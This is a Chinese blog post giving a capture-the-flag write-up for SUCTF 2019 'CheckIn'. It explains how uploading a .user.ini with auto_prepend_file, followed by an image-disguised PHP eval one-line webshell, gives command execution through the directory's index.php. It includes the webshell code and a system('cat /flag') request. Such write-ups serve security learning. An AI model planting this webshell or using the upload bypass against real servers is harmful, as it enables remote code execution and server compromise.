[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

Step

发现上传文件试验后,

Your dir uploads/40faad96d40fbac7603474024cbb933a
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "1.jpg" [4]=> string(9) "index.php" }

存在php执行文件,尝试利用.user.ini

于是上传.user.ini,内容:

GIF89a
auto_prepend_file=1.jpg

继续上传文件名为1.jpg的文件,内容:

GIF89a
<script language='php'>@eval($_GET['cmd'])</script>

(因为不方便用蚁剑)

url/uploads/40faad96d40fbac7603474024cbb933a/index.php?cmd=system("cat /flag");

得到flag

.user.ini

php.ini 文件是全局配置文件,影响整个服务器,而.htaccess 和 .user.ini 是目录的配置文件,是用户自定义的配置php.ini,可以构造后门。

.xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件 # 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 # 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样

在 .user.ini 文件中配置

auto_prepend_file=test.png

上传1.jpg一句话木马

上传的目录中存在php执行文件,上传的一句话木马文件以及.user.ini 配置文件

当访问该目录下的php文件执行文件时,首先会调用.user.ini 使1.jpg包含到php文件内,然后执行php文件.

posted @   8o1er9t  阅读(19)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程
点击右上角即可分享
微信分享提示